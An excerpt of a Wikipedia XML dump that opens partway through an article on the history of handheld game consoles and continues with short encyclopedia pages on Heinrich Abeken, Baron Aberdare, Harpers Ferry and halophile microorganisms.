{{main|Neo Geo Pocket}}
[[Image:NeoGeoPocketMonochrome.jpg|right|thumb|Neo Geo Pocket (Monochrome)]]
The '''Neo Geo Pocket''' was [[SNK Playmore|SNK]]'s original [[hand held console|hand held system]]. It was released in [[Japan]] in late [[1998]], and discontinued in [[1999]], with the advent of the [[Neo Geo Pocket Color]], due to lower than expected sales with the Monochrome Neo Geo Pocket. 

The system was only released within the Japanese and Hong Kong market. Even though it had a short life, there were some significant games released on the system such as ''[[Samurai Shodown]]'', and ''[[King of Fighters|King of Fighters R-1]]''. 

The Neo Geo Pocket can play many of the newer color games. There are, however, notable exceptions such as ''[[Sonic the Hedgehog Pocket Adventure]]'' or ''[[SNK vs. series|SNK vs. Capcom: Match Of The Millennium]]''. Since the newer [[Neo Geo Pocket Color]] is fully backwards compatible, it does play all the Neo Geo Pocket cartridges.

===Late 1990s===
The Game Boy was nine years old before it got its first significant makeover. In [[1998]], the [[Game Boy Color]] was released. It used the smaller and lighter form-factor of the [[Game Boy Pocket]], but featured a full color screen. It was also backwards-compatible, so that it could play not only games specifically made for the Game Boy Color, but standard Game Boy games as well. It did not have significantly more computing power than the Game Boy, however.

By this time, the lack of significant development in Nintendo's product line began allowing more advanced systems such as the [[Neo Geo Pocket Color]] and the [[Wonderswan Color]] to achieve moderate success.

====Game Boy Color====
{{main|Game Boy Color}}
[[Image:Gameboy_color.jpg|thumb|240px|The Game Boy Color was the first handheld by Nintendo featuring Colors.]]The '''Game Boy Color''' (also referred to as '''GBC''') is [[Nintendo]]'s successor to the [[Game Boy]] and was released on [[October 21]], [[1998]] in [[Japan]] and in [[November]] [[1998]] in the [[United States]]. It features a color screen, and is only slightly larger than the [[Game Boy#Game Boy Pocket|Game Boy Pocket]]. The processor is twice as fast as a Game Boy's, and has twice as much memory. It also had an [[infrared]] communications port for wireless linking which did not appear in later versions of the Game Boy, such as the [[Game Boy Advance]].

The Game Boy Color was a response to pressure from game developers for a new system, as they felt that the Game Boy, even in its latest incarnation, the Game Boy Pocket, was insufficient. The resultant product was backward compatible, a first for a handheld console system, and leveraged the large library of games and great installed base of the predecessor system. This became a major feature of the Game Boy line, since it allowed each new launch to begin with a significantly larger library than any of its competitors.

The console was capable of showing up to 56 different colors simultaneously on screen from its palette of 32,768, and could add basic four-color shading to games that had been developed for the original Game Boy. It could also give the sprites and backgrounds separate colors, for a total of more than four colors. However, this resulted in graphic anomalies in certain games where a sprite that was supposed to meld into the background was now colored separate, giving it away.

====Neo-Geo Pocket Color====
{{main|Neo Geo Pocket Color}}
[[Image:Neo_geo_pocket_color.png|thumb|200px|Neo Geo Pocket Color]]

The [[Neo Geo Pocket Color]] (or '''NGPC''') was released in [[1998]] in Japan.  It was a 16-bit color [[hand held console|hand held game console]] designed by [[SNK Playmore|SNK]], the makers of the [[Neo Geo]] home console and arcade machine. It came after SNK's original [[Neo Geo Pocket]] monochrome handheld, which debuted in 1998 in Japan (and was released in the USA in 1999).  

In [[2000]] following SNK's purchase by Japanese [[Pachinko]] manufacturer Aruze, the Neo Geo Pocket Color was dropped from both the United States and European markets, purportedly due to commercial failure. Remaining stock was bought back by SNK for repackaging in Asia. Before SNK was bought out, the Neo Geo Pocket Color was being advertised on US television and units were being sold nationally in [[Wal-Mart]], [[Best Buy]], [[Toys &quot;R&quot; Us]], and other large retail chains. In June 2000 SNK of America (and Europe) tried recalling most of the backstock of systems and games to be flashed and re-sold in Asia where the system would continue to be sold and supported. Some of the backstock of US NGPC hardware and software started showing up back on the marketplace in the US and Asia in 2003.  These units frequently appear bundled with six games, and are readily available online, and are sometimes available in video game stores. Neo Geo Pocket Colors have been seen in many Discovery Channel Stores as of the holiday season. They are retailing for $75 with 8 Games.

The system seemed well on its way to being a success in the US. Indeed, it enjoyed a greater success than any [[Game Boy]] competitor since [[Sega]]'s [[Sega Game Gear|Game Gear]]. However, it was hurt by several factors, such as the Neo Geo heads' legendary lack of communication with third-party developers, and anticipation of the [[Game Boy Advance]]. The decision to ship American games in cardboard boxes in a cost cutting move rather than the much loved hard plastic cases that Japanese and European releases were shipped in may have also hurt the American sales.

====Wonderswan Color====
{{main|Wonderswan Color}}
[[Image:WonderswanColor.jpg|thumb|200px|WonderSwan Color]]
The '''WonderSwan Color''' is a [[handheld game console]] designed by [[Bandai]]. It was released on [[December 30]], [[2000]] in [[Japan]], and was a moderate success. 

The original [[WonderSwan]] had only a black and white screen. Although the WonderSwan Color was slightly larger and heavier (7 mm and 2 g) compared to the original WonderSwan, the color version featured 512K of [[Random access memory|RAM]] and a larger color [[Liquid crystal display|LCD]] screen. In addition, the WonderSwan Color is compatible with the original WonderSwan library of games.

Prior to WonderSwan's release, [[Nintendo]] had virtually a monopoly in the Japanese video game handheld market. After the release of the WonderSwan Color, Bandai took approximately 8% of the market share in Japan partly due to its low price of 6800 yen (approximately $65 [[U.S. Dollars]]).

Another reason for the WonderSwan's success in Japan was the fact that Bandai managed to get a deal with [[Square Co., Ltd.|Squaresoft]] to port over the original [[Famicom]] ''[[Final Fantasy]]'' games with improved graphics and controls. However, with the popularity of the [[Game Boy Advance]] and the reconciliation between Squaresoft and Nintendo, the WonderSwan Color and its successor, the [[Swan Crystal]] quickly lost its [[competitive advantage]].

===2000s===
====Game Boy Advance====
[[Image:93 phull.jpg|245px|right|thumb|The Game Boy Advance SP was a revision of the original Game Boy Advance]]
{{main|Game Boy Advance}}
In [[2001 in video gaming|2001]], Nintendo revealed the Game Boy Advance, which added two shoulder buttons, a larger screen, and more computing power. The design was further revised about two years later when the [[Game Boy Advance SP]], a compact &quot;clamshell&quot; (folding open and closed, like a briefcase) version, was released. It also had a frontlit color display and rechargeable battery. Despite its smaller size, the screen remained the same size as that of the [[Game Boy Advance]]. The GBA also introduced the concept of &quot;connectivity&quot;, using the Game Boy as a controller for the [[Nintendo GameCube]].   A handful of games use this feature, most notably ''[[Final Fantasy: Crystal Chronicles]], ''[[Sonic Adventure 2: Battle]]'' and ''[[The Legend of Zelda: The Wind Waker]]''. As of 2005, there are three Game Boy Advance models: [[Game Boy Advance]], [[Game Boy Advance SP]], and [[Game Boy Micro]].The GBA,GBASP, and the Game Boy Micro had sold more than 70.04 million units sold worldwide so far.

====Gamepark 32====
[[Image:Gp32-flu.jpg|140px|right|thumb|GP32]]
{{main|GP32}}
The original GP32 was released in 2001 by the Korean company Gampark a few months after the launch of the Game Boy Advance. It featured a 32-bit CPU, 133 MHz processor, MP3 and Divx player, and e-book reader. The GP32 was redesigned in 2003. A front-lit screen was added and the new version was called GP32 FLU (Front Light Unit). In the summer of 2004 another redesign was made and this time a back-lit screen was added. It was called the GP32 BLU and it was the first redesign of the system officially released outside Korea (in Europe). While not a commercial success, it gained a cult following of developers and more [[Geek|technically-adept]] users. It was superceded by the [[GP2X]].&lt;!--Only 30,000 units were sold and it ended up being used mainly as a platform for user-made applications and emulators of other systems.

Can we get a source for sales numbers before uncommenting the above? --&gt;

====Nokia N-Gage====
[[Image:Nokia N-Gage.jpg|140px|right|thumb|N-gage]]
{{main|N-gage}}
In [[2003]], the [[Nokia]] N-Gage was released. It was designed as a combination mp3 player, cellphone, PDA, radio, and gaming device. The system received a lot of criticism on its physical design and layout, including its vertically oriented screen and requirement of removing the battery to change game cartridges. The most well known of these was &quot;sidetalking&quot;, or the resultant effect of placing the phone speaker and receiver on an edge of the device instead of one of the flat sides. The N-Gage QD was later released to revise the design.

====Tapwave Zodiac====
&lt;!-- Unsourced image removed: [[Image:Tapzodiac.jpg|right|thumb|Tapwave Zodiac]] --&gt;
{{main|Tapwave Zodiac}}
In [[2004]], Tapwave released the Zodiac. It was designed to be a [[Personal digital assistant|PDA]]-handheld game console hybrid. It supported photos, movies, music, [[Internet]], and documents. It has the standard stuff any [[Personal digital assistant|PDA]] comes with. Palm OS 5 hardware is compatible with the Zodiac. Two versions are available, differing in memory and looks. The Tapwave Zodiac was killed off in July of 2005.

====Nintendo DS====
{{main|Nintendo DS}}
[[Image:Nintendo ds touch.jpg|thumb|275px|The Nintendo DS has two screens (one of which is a touchscreen), a microphone and wireless networking.]]
The Nintendo DS was released in [[November]], [[2004]].  Among its new features was the incorporation of two screens, as well as a [[touchpad|touch screen]] and wireless connectivity with other devices. The Nintendo DS comes with Dual screens using LCD screening. The two LCD screens offer one of the most groundbreaking gameplay advances ever developed.

The lower screen allows touch sensitivity which helps create an interactive environment for the gamer. The Nintendo DS comes with a stylus that is used on the touch screen and features a microphone port. The console also features online capabilities with the [[Nintendo Wi-Fi Connection]], the Local Wireless network can support 16 players. It also features Picto-Chat, which is a way to draw and communicate with other DS users. The DS has a separate port for the loading of [[Game Boy Advance]] games in singleplayer.  The Nintendo DS has sold more than 14 million units worldwide in just over a year {{ref|dssales}} and reigns over all rivals, including the Sony PSP, in sales.

====Sony PSP====
{{main|PlayStation Portable}}
[[Image:Official psp01.jpg|thumb|200px|The PlayStation Portable can play music, movies, games, view JPEG pictures and browse on the web wirelessly.]]
[[Sony]]'s PlayStation Portable was first revealed at [[E³]] [[2004 in video gaming|2004]], and was released in Japan and North America in late [[2004 in video gaming|2004]] and early [[2005 in video gaming|2005]], respectively. Like previous competitors to the Game Boy, the PSP is also considerably superior in both processing power and screen quality, but inferior in battery life, price, and durability. Unlike previous competitors (except possibly the peripheral-happy [[Game Gear]]), the PSP includes several unusual features beyond gaming. The Sony PSP ultimately is more powerful than the Nintendo DS, but it is unable to top Nintendo's handheld dominance in software support or sales.

The PSP, as well as several other handhelds in this generation, is designed with an emphasis on [[convergence]], partially to help differentiate themselves from Nintendo's game-focused offerings. Sony, for example, has trumpeted the PSP's ability to play movies and music from the system's [[Universal Media Disc|UMD]] disks, or stored on a [[Memory Stick]]. Some of the games for the PSP, such as ''[[Wipeout Pure]]'', can use the PSP's web features to download new content. The PSP isn't the only converged game system; [[Nokia]]'s [[N-Gage]] (and its redesigned successor, the [[N-Gage QD]]), the [[Tapwave Zodiac]], and the Tiger Telematics [[Gizmondo]] include such unusual features as [[GSM]] [[cell phone]] functionality, [[GPRS]] cellular data networking, [[GPS]] receivers, [[Personal digital assistant|PDA]] functionality, built-in [[digital camera]]s, and so on. To a lesser extent, the DS's unusual, albeit game-oriented, features or the movie-playing [[Play-Yan]] accessory for the DS and GBA SP could be seen as part of this trend. 

It remains to be seen if this trend towards convergence is unique to this generation, or if it survives into the next.

====Tiger Telematics Gizmondo====
{{main|Gizmondo}}
Tiger's Gizmondo came out in the UK during [[March]] [[2005]] and it was released in the [[USA]] during [[October]] [[2005]]. It is designed to play music, movies, and games, have a camera for taking and storing photos, and have GPS funtions. It also has [[Internet]] capabilities. It will have a phone for sending text, multimedia, and email and voice calls will come via a [[Bluetooth]] headset.

====Gamepark Holdings GP2X====
{{main|GP2X}}
[[Image:GP2X.jpg|thumb|200px|The GP2X plays games and homebrew apps and also suports a wide range of audio, video and picture formats.]]
Released in November 2005, the GP2X is a handheld game console that uses the [[Linux]] operating system and is designed to support videos, music, photos, and games in an open architecture allowing any user to develop software for the device. Expandability for future upgrades (new media formats, features, operating system, etc) has been made possible by flash upgradable firmware.

The GP2X natively supports codecs and formats such as [[DivX]], [[XviD]], [[MP3]] and [[Vorbis|Ogg Vorbis]], but because the player is based on the open-source media player named mplayer, it will be easily possible to add other codecs unsupported at the launch. It is also expected to be able to emulate games for many systems, including the [[NES]], [[SMS]], [[PC Engine]], [[SNES]], and [[Sega Genesis]]. Since GP2X units were sent to some developers before the official commercial launch, there are projects of some emulators, like a [[Neo Geo CD]] emulator ported to GP2X by a Korean developer.

== List of handheld game consoles, notable features, and industry firsts ==
{{main|Comparison of handheld gaming consoles}}
&lt;!-- Manufacturer [[Handheld]] (YEAR) - Firsts or connections to previous handhelds) --&gt;
* Milton Bradley [[Microvision]] (1979)
* Nintendo [[Game &amp; Watch]] (1980 - 1991) - Predecessor to Game Boy; is technically a [[handheld electronic game]]
* [[Atari Cosmos]] (unreleased, developed in 1979)
* [[Entex Adventure Vision]] (1982) First to have a monitor
* [[Epoch Game Pocket Computer]] - (1984) - Japanese only; not a success
* Nintendo [[Game Boy]] (1989) - First international commercial success
* [[Atari Lynx]] (1989) - First backlit screen
* [[NEC TurboExpress]] (1990, Japan; 1991, North America) - Played [[huCard]] ([[PC Engine]]/[[TurboGrafx-16]]) games, first console/handheld intercompatibility
* [[Sega Game Gear]] (1991) - Architecturally similar to [[Sega Master System]], notable accessory firsts include a [[TV tuner]]
* [[Supervision (handheld game console)|Supervision]] (1992)
* [[Sega Mega Jet]] (1992) - no screen, made for [[Japan Air Lines]]
* [[Nintendo Virtual Boy]] (1994) - Monochromatic (red only) 3D goggle set, only semi-portable; first [[3D computer graphics|3D]] portable
* [[Sega Nomad]] (1995) - Played normal [[Sega Genesis]] cartridges, albeit at lower resolution
* SNK [[Neo Geo Pocket]] (1996) - Unrelated to [[Neo Geo]] consoles or arcade systems save for name
* [[Game Boy Pocket]] (1996) - Slimmer redesign of Game Boy
* Tiger [[game.com]] (1997) - First touch screen, first internet support (with use of sold-separately [[modem]])
* Nintendo [[Game Boy Color]] (1998)
* [[Cybiko]] (Around 1998)
* SNK [[Neo Geo Pocket Color]] (1999)
* Bandai [[WonderSwan]] (1999) - Developed by [[Gumpei Yokoi]] after leaving Nintendo
* Bandai [[WonderSwan Color]] (2000)
* Game Park [[GP32]] (2001)
* Nintendo [[Game Boy Advance]] (2001)
* Bandai [[Swan Crystal]] (2002) - Minor redesign of WonderSwan Color
* [[Nokia]] [[N-Gage]] (2003) - Game system and [[GSM]] [[cell phone]] (first combination of the two); first included [[mp3 player]] and [[FM radio]]; used [[Bluetooth]] (first wireless multiplayer); first use of [[GPRS]] for online play
* Nintendo [[Game Boy Advance SP]] (2003) - Redesign of GBA: slimmer, clamshell form factor; frontlit screen
* Timetop [[Gameking]] (2003)
* [[Tapwave Zodiac]] (2004) - First PDA/game handheld hybrid; [[Palm OS]] [[Personal digital assistant|PDA]] with game-focused form factor and features
* [[Nokia]] [[N-Gage QD]] (2004) - Redesign of N-Gage, removed [[mp3]] playback and radio
* [[Nintendo DS]] (2004) - First inclusion of dual screens, built-in microphone, and [[Wi-Fi]] for wireless multiplayer; touchscreen
* [[Sony PSP]] (2004/2005) - First use of optical media; uses [[Memory Stick]]s for saved data; plays movies and music and views [[JPEG]] pictures.
* Tiger [[Gizmondo]] (2005) - Uses [[GPRS]] network; first inclusion of [[GPS]] for location-based games, first built-in camera
* [[Game Boy Micro]] (2005) - Redesign of GBA; smallest Game Boy form factor to date, first [[Liquid crystal display#Transmissive and reflective displays|transflective LCD screen]] in a handheld.
* Game Park [[XGP]] (2005) and Game Park Holdings [[GP2X]] (2005) - Successor units to the GP32 handheld, each being developed by the two companies that split off from Game Park.
* [[V-Smile Pocket]] (2005) - handheld version of the [[V-Smile]] console.  Specifically designed for education purposes.

==References==
#{{note|gbsales}} {{Web reference
 | author = 
 | publishyear = May 11, 2004 
 | url = http://www.nintendo.com/newsarticle?articleid=a934e541-975a-46f7-b44d-b0fdaa69fac6&amp;page=newsmain
 | title = Game Boy Advance Evolves Again
 | publisher = Nintendo.com
 | date = February 12
 | year = 2006
}}
#{{note|dssales}} {{Web reference
 | author = Jenkins, David
 | publishyear = January 5, 2006
 | url = http://www.gamasutra.com/php-bin/news_index.php?story=7688
 | title = Nintendo Reveals 13 Million DS Sales, Gets Stock Upgrade
 | publisher = GamaSutra
 | date = February 12
 | year = 2006
}}

== See also ==
{{dedicated video game handheld consoles}}
* [[Video game console]]
* [[Console emulator]]
* [[Handheld electronic game]]
* [[Handheld video game]]
* [[Calculator gaming]]
* [[PDA]] - a similar concept

[[Category:Embedded systems]]
[[Category:Handheld game consoles| ]]

[[de:Handheld-Konsole]]
[[it:Consolle portatile]]
[[ja:携帯型ゲーム]]
[[nl:draagbare spelcomputer]]</text>
    </revision>
  </page>
  <page>
    <title>Heinrich Abeken</title>
    <id>14200</id>
    <revision>
      <id>26378462</id>
      <timestamp>2005-10-24T20:42:30Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Adding: nl</comment>
      <text xml:space="preserve">'''Heinrich Abeken''' ([[August 19]] [[1809]] &amp;ndash; [[August 8]] [[1872]]), [[Germany|German]] theologian and [[Kingdom of Prussia|Prussia]]n Privy Legation Councillor in the Ministry of Foreign Affairs in [[Berlin]], was born and raised in the city of [[Osnabrück]] as a son of a merchant, he was incited to a higher education by the example of his uncle [[Bernhard Rudolf Abeken]]. After finishing the college in Osnabrück, he moved in [[1827]] to visit the University of Berlin to study [[theology]]. He soon combined philosophical and philological studies and was interested in art and modern literature. 

In [[1831]], Abeken acquired a [[licenciate]] of theology. At the end of the year he visited [[Rome]], and was welcomed in the house of [[Christian Karl Josias Freiherr von Bunsen]]. Abeken participated in Bunsen's works, namely an evangelic prayer and hymn-book. In [[1834]] became chaplain to the Prussian embassy in [[Rome]]. He married his first wife, who unfortunately died soon thereafter.
Bunsen left Rome in [[1838]] and Abeken followed soon thereafter to Germany. In [[1841]], he was sent to [[England]] to help founding an German-English evangelic [[episcopacy]] in [[Jerusalem]]. In the same year, he was sent by [[Frederick IV]] to [[Egypt]] and [[Ethiopia]], where he joined an expedition led by professor [[Karl Richard Lepsius]]. In [[1845]] and [[1846]] he returned via Jerusalem and Rome to Germany. He became Legation Councillor in Berlin, later Council Referee at the Ministry of Foreign Affairs. 

In [[1848]] he received an appointment in the Prussian ministry for foreign affairs, and in [[1853]] was promoted to be privy councillor of legation (''Geheimer Legationsrath''). Abeken remained in charge for more than twenty years of Prussian politics, assisting [[Otto Theodor Freiherr von Manteuffel]] and [[Bismarck]]. The latter was so much pleased with Abeken's work that people started to call Abeken ''the feather of Bismarck''. Abeken married in [[1866]] [[Hedwig von Olfers]], daughter of the general director of the royal museums, Privy Council von Olfers.

He was much employed by [[Otto von Bismarck|Bismarck]] in the writing of official despatches, and stood high in the favour of King William, whom he often accompanied on his journeys as representative of the foreign office.  He was present with the king during the campaigns of [[1866]] and [[1870]]-71.  In [[1851]] he published anonymously ''Babylon und Jerusalem,'' a slashing criticism of the views of the Countess von Hahn-Hahn. 

During the war against Austria in [[1866]] as well as in the wars against France in [[1870]] and [[1871]], Abeken stayed in the Prussian headquarters. A major part of the dispatches of the time have been written by him. Unfortunately his health was damaged by the endeavours of these travels, and he died after an illness of several months. Emperor [[Wilhelm I of Germany]] described Abeken in a condolence letter to his widow: ''One of my most reliable advisors, standing on my side in the most decisive moments; His loss is irreplaceable to me; In him his fatherland has lost one of the most noble and most loyal men and officials.''

Despite his engagement in politics, Abeken never lost his interest in theology and continued to publish and speak in this sector during all of his life. He was interested in art and archeology, and was sponsor of the Archeological Institute of Rome and member of the Archeological Society of Rome. He founded a Circle of Friends of the Greek Literature in Berlin and was member of the prize commission for the royal Schiller-Prize. 

See ''Heinrich Abeken, ein schlichtes Leben in bewegter Zeit'' ([[Berlin]], [[1898]]), by his widow.  This is valuable by reason of the letters written from the Prussian headquarters.

==Publications==

* ''A letter to the Reverend E. B. Pusey in reference to certain charges against the German Church'', (1842)
* ''Babylon und Jerusalem'' (1851), letter to Countess Ida Hahn-Hahn
* ''Der Gottesdienst der alten Kirche'' (1853)
* ''Das religiöse Leben des Islam'' (1854)
* biography of Bunsen in the ''Jahrbuch zum Conversationslexikon (Leipzig, [[Brockhaus]]), Unsere Zeit'' (1861)

==Sources==
{{Wikisource1911Enc|Abeken, Heinrich}}

* ''Allgemeine Deutsche Biographie'' - [[s:de:ADB:Abeken, Heinrich|online version]] at [[Wikisource]]

{{1911}}

[[Category:1809 births|Abeken, Heinrich]]
[[Category:1872 deaths|Abeken, Heinrich]]

[[de:Heinrich Abeken]]
[[nl:Heinrich Abeken]]</text>
    </revision>
  </page>
  <page>
    <title>Henry Bruce, 1st Baron Aberdare</title>
    <id>14201</id>
    <revision>
      <id>39355971</id>
      <timestamp>2006-02-12T16:45:05Z</timestamp>
      <contributor>
        <username>George Burgess</username>
        <id>205776</id>
      </contributor>
      <minor />
      <comment>Renfrewshire constituency link</comment>
      <text xml:space="preserve">'''Henry Austin Bruce, 1st Baron Aberdare''' [[Order of the Bath|GCB]], [[Privy Council of the United Kingdom|PC]], [[Fellow of the Royal Society|FRS]] ([[April 16]][[1815]] &amp;ndash; [[February 25]][[1895]])
was a [[United Kingdom|British]] statesman who served in government during the late [[19th century]], most notably as [[Secretary of State for the Home Department|Home Secretary]] and as [[Lord President of the Council]].

He was born at [[Duffryn]], [[Aberdare]], [[Glamorganshire]], the son of John Bruce, a Glamorganshire landowner. John Bruce's original family name was Knight, but on coming of age in [[1805]] he assumed the name of Bruce: his mother, through whom he inherited the Duffryn estate, was the daughter of William Bruce, high sheriff of Glamorganshire. Henry was educated at [[Swansea Grammar School]], and in [[1837]] was called to the [[barrister|bar]].

Shortly after he had begun to practise, the discovery of [[coal]] beneath the Duffryn and other Aberdare Valley [[estate (house)|estates]] brought the family great wealth.  From [[1847]] to [[1854]] he was stipendiary magistrate for [[Merthyr Tydfil]] and Aberdare, resigning the position in the latter year, when he entered parliament as [[The Liberal Party (UK)|Liberal]] member for Merthyr Tydfil. During this time, he became involved in the management of the [[GKN plc|Dowlais Iron Company]]. In [[1862]] he became [[Under-Secretary of State for the Home Department]], and in [[1869]], after losing his seat at Merthyr Tydfil, but being re-elected for [[Renfrewshire (UK Parliament constituency)|Renfrewshire]], he was made Home Secretary by [[William Ewart Gladstone]].

His tenure of this office was conspicuous for a reform of the [[licensing laws]], and he was responsible for the [[Licensing Act 1872]], which made the [[magistrate]]s the licensing authority, increased the penalties for misconduct in public-houses and shortened the number of hours for the sale of drink. In [[1873]] he relinquished the home secretaryship, at Gladstone's request, to become [[Lord President of the Council]], and was almost simultaneously raised to the [[peerage]] as '''Baron Aberdare'''.

The defeat of the Liberal government in the following year terminated Lord Aberdare's official political life, and he subsequently devoted himself to social, educational and economic questions.  In [[1876]] he was elected a [[Fellow of the Royal Society]]; from [[1878]] to [[1891]] he was president of the [[Royal Historical Society]]; and in [[1881]] he became president of the [[Royal Geographical Society]].  In [[1882]] he began a connection with [[West Africa]] which lasted the rest of his life, by accepting the chairmanship of the [[National African Company]], formed by Sir [[George Taubman Goldie]], which in [[1886]] received a charter under the title of the [[Royal Niger Company]] and in [[1899]] was taken over by the British government, its territories being constituted the protectorate of [[Nigeria]].

West African affairs, however, by no means exhausted Lord Aberdare's energies, and it was principally through his efforts that a charter was in [[1894]] obtained for the [[University of Wales]] at [[Cardiff]].  Lord Aberdare, who in [[1885]] was made a [[Order of the Bath|GCB]], presided over several [[Royal Commission]]s at different times.  He died in [[London]] on [[February 25]], [[1895]].  His second wife was the daughter of [[William Francis Patrick Napier|Sir William Napier]], the historian of the [[Peninsular War]], whose biography he edited.

{{start box}}
{{succession box | before=G. Clive | title=[[Under-Secretary of State for the Home Department]] | years=1862&amp;ndash;1864 | after=[[Thomas George Baring, 1st Earl of Northbrook|Thomas George Baring]]}}
{{succession box | before=[[Gathorne Hardy, 1st Earl of Cranbrook|Gathorne Hardy]] | title=[[Secretary of State for the Home Department|Home Secretary]] | years=1868&amp;ndash;1873 | after=[[Robert Lowe, 1st Viscount Sherbrooke|Robert Lowe]]}}
{{succession box | before=[[George Robinson, 1st Marquess of Ripon|The Marquess of Ripon]] | title=[[Lord President of the Council]] | years=1873&amp;ndash;1874 | after=[[Charles Gordon-Lennox, 6th Duke of Richmond|The Duke of Richmond]]}}
{{end box}}

{{start box}}
{{succession box | before=New Creation | title=[[Baron Aberdare]] | years=1873&amp;ndash;1895 | after=[[Henry Bruce, 2nd Baron Aberdare|Henry Bruce]]}}
{{end box}}

{{1911}}
{{Wikisource1911Enc|Aberdare, Henry Austin Bruce, 1st Baron}}
[[Category:1815 births|Aberdare, Henry Austin Bruce, 1st Baron]]
[[Category:1895 deaths|Aberdare, Henry Austin Bruce, 1st Baron]]
[[Category:Lord Presidents of the Council|Aberdare, Henry Austin Bruce, 1st Baron]]
[[Category:Barons in the Peerage of the United Kingdom|Aberdare, Henry Austin Bruce, 1st Baron]]
[[Category:Fellows of the Royal Society|Bruce, Henry]]
[[Category:British MPs|Aberdare, Henry Austin Bruce, 1st Baron]]
[[Category:UK Liberal Party politicians|Aberdare, Henry Austin Bruce, 1st Baron]]
[[Category:Knights Grand Cross of the Bath|Aberdare, Henry Austin Bruce, 1st Baron]]
[[Category:Secretaries of State for the Home Department (UK)|Aberdare, Henry Austin Bruce, 1st Baron]]


[[sv:Henry Austin Bruce Aberdare]]</text>
    </revision>
  </page>
  <page>
    <title>Harpers Ferry (disambiguation)</title>
    <id>14203</id>
    <revision>
      <id>38829671</id>
      <timestamp>2006-02-08T22:40:45Z</timestamp>
      <contributor>
        <username>Tsca.bot</username>
        <id>601940</id>
      </contributor>
      <minor />
      <comment>robot  adding: pl</comment>
      <text xml:space="preserve">'''Harpers Ferry''' is the name of several places in the [[United States|United States of America]]:
*[[Harpers Ferry, Iowa]]
*[[Harpers Ferry, West Virginia]] (site of [[John Brown (abolitionist)|John Brown]]'s raid on a federal [[Armory (military)|armory]] in [[1859]] and the [[Battle of Harpers Ferry]] during the [[American Civil War]], and present day location of the [[Harpers Ferry National Historical Park]])

{{geodis}}

[[pl:Harpers Ferry]]</text>
    </revision>
  </page>
  <page>
    <title>Halophile</title>
    <id>14204</id>
    <revision>
      <id>40564770</id>
      <timestamp>2006-02-21T13:39:22Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">'''Halophiles''' are [[extremophile]]s that thrive in [[natural environment|environment]]s with very high concentrations of [[salt]] (at least 2 [[Concentration#Molarity|M]], approximately ten times the salt level of ocean water).  The name comes from [[Greek language|Greek]] for &quot;salt-loving&quot;.

High salinity represents an extreme environment that relatively few organisms have been able to adapt to and occupy. Most halophilic and all halotolerant organisms expend energy to exclude salt from their cytoplasm to avoid protein aggregation (‘salting out’). In order to survive the high salinities, halophiles employ two differing strategies to prevent dessication through osmotic movement of water out of their cytoplasm. Both strategies work by increasing the internal osmolarity of the cell. In the first (that employed by the majority of Bacteria, some Archaea, yeasts, algae and fungi) specific low molecular weight organic compounds are accumulated in the cytoplasm – these are known as compatible solutes. These can be synthesised de novo or accumulated from the environment (Santos and da Costa, 2002). The most common compatible solutes are neutral or zwitterionic and include amino acids, sugars, polyols, betaines and ectoines, as well as deriavatives of some of these compounds. 

The second, more radical, adaptation involves the selective influx of K+ ions into the cytoplasm. This adaptation is restricted to the moderately halophilic bacterial Order Halanerobiales, the extremely halophilic archaeal Family Halobacteriaceae and the extremely halophilic bacterium ''Salinibacter ruber''. The presence of this adaptation in three distinct evolutionary lineages suggests convergent evolution of this strategy, it being unlikely to be an ancient characteristic retained in only scattered groups or through massive lateral gene transfer (Santos and da Costa, 2002). The primary reason for this is that the entire intracellular machinery (enzymes, structural proteins etc) must be adapted to high salt levels, whereas in the compatible solute adaptation little or no adjustment is required to intracellular macromolecules – in fact, the compatible solutes often act as more general stress protectants as well as just osmoprotectants (Santos and da Costa, 2002).

Of particular note are the extreme halophiles or haloarchaea (often known as [[halobacteria]]), a group of [[archaea]], which require at least a 2 M salt concentration and are usually found in saturated solutions (about 36% w/v salts).  These are the primary inhabitants of salt lakes, inland seas, and evaporating ponds of seawater, such as the [[Dead Sea]] and solar salterns, where they tint the water column and sediments bright colors. In other words, they will most definitely perish if they are exposed to anything besides a very high, intense salt-conditioned environment. These prokaryotes require salt for growth. The high concentration of NaCl in their enviroment limits the availility of oxygen for respiration. Their cellular machinery is adapted to high salt concentrations by having charged amino acids on their surfaces, allowing the retention of water molecules around these components. They are heterotrophs that normally respire by aerobic means. Most halophiles are unable to survive outside their high-salt native environment. Indeed, many cells are so fragile that when placed in distilled water they immediately lyse from the change in osmotic conditions.

Haloarchaea, and particularly, the family Halobacteriaceae are members of the Domain [[Archaea]], and comprise the majority of the prokaryotic population in hypersaline environments (Oren 2002). There are currently 15 recognised genera in the family (Gutierrez et al., 2002). The domain Bacteria (mainly ''Salinibacter ruber'') can comprise up to 25% of the prokaryotic community, but is more commonly a much lower percentage of the overall population (Anton ''et al''., 2000). At times, the alga ''Dunaliella salina'' can also proliferate in this environment (Casamayor ''et al''., 2002). 

A comparatively wide range of taxa have been isolated from saltern crystalliser ponds, including members of the following genera: ''Haloferax, Halogeometricum, Halococcus, Haloterrigena, Halorubrum, Haloarcula'' and ''Halobacterium'' families (Oren 2002). However, the viable counts in these cultivation studies have been small when compared to total counts, and the numerical significance of these isolates has been unclear. Only recently has it become possible to determine the identities and relative abundances of organisms in natural populations, typically using PCR-based strategies that target 16S small subunit ribosomal ribonucleic acid (16S rRNA) genes. While comparatively few studies of this type have been performed, results from these suggest that some of the most readily isolated and studied genera may not in fact be significant in the in-situ community. This is seen in cases such as the genus ''Haloarcula'', which is estimated to make up less than 0.1% of the in situ community (Anton ''et al.'', 1999) but commonly appears in isolation studies.

==References and Links==
&quot;Halophiles.&quot;  Extremeophiles.  [[1 February]]. 2006 &lt;http://library.org/CR0212089/halo.htm&gt;.

Madigan, Michael T., and Barry L. Narrs.  &quot;Extremeophiles.&quot;  Scientific American.  April 1997: 82-88

Todar, Kenneth. &quot;MAJOR GROUPS OF PROKARYOTES.&quot;
&lt;http://www.bact.wisc.edu/Bact303/MajorGroupsOfProkaryotes&gt;

&lt;http://www.haloarchaea.com&gt;

Anton, J., Llobet-Brossa, E., Rodriguez-Valera, F., and Amann, R. (1999) Fluorescence in situ hybridization analysis of the prokaryotic community inhabiting crystallizer ponds. Environmental Microbiology 1: 517-523.

